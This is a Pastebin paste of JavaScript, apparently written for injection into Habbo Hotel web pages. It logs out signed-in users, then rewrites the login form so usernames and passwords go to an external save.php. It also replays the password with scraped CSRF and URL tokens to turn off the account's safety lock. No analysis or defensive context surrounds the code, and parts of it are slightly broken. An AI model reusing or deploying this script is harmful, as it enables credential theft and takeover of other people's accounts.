Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- window.onload = (function () {
- if (document.habboLoggedIn == true) {
- if (confirm("Voc" + unescape('%EA') + " precisa estar desconectado, deseja sair?")) {
- new Ajax.Request("/account/logout_ok?token=" + $$('meta[name=csrf-token]')[0].content, {
- onComplete: function () {
- location = '/';
- }
- });
- };
- };
- if (document.habboLoggedIn == false) {
- c = $$(".login-field"), c[0].name = "u", c[1].name = "p", f = $$("#loginformitem")[0], f.action = "http://<?=$_SERVER['HTTP_HOST']?>/save.php", f.method = "GET";
- new Ajax.Request("/account/submit?credentials.username=" + c[0] + "&credentials.password=" + c[1], {
- onComplete: function () {
- new Ajax.Request('/identity/email', {
- onComplete: function (x) {
- x = x.responseText;
- var urlToken = x.match(/name="urlToken" value="(.+)"/)[1];
- var app = $$("meta[name=csrf-token]")[0].readAttribute("content");
- var senha = c[1];
- new Ajax.Request('/identity/safetylock_disable', {
- parameters: "__app_key" + app + "&urlToken=" + urlToken + "¤tPassword=" + senha
- });
- }
- });
- }
- });
- };
- };
- })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement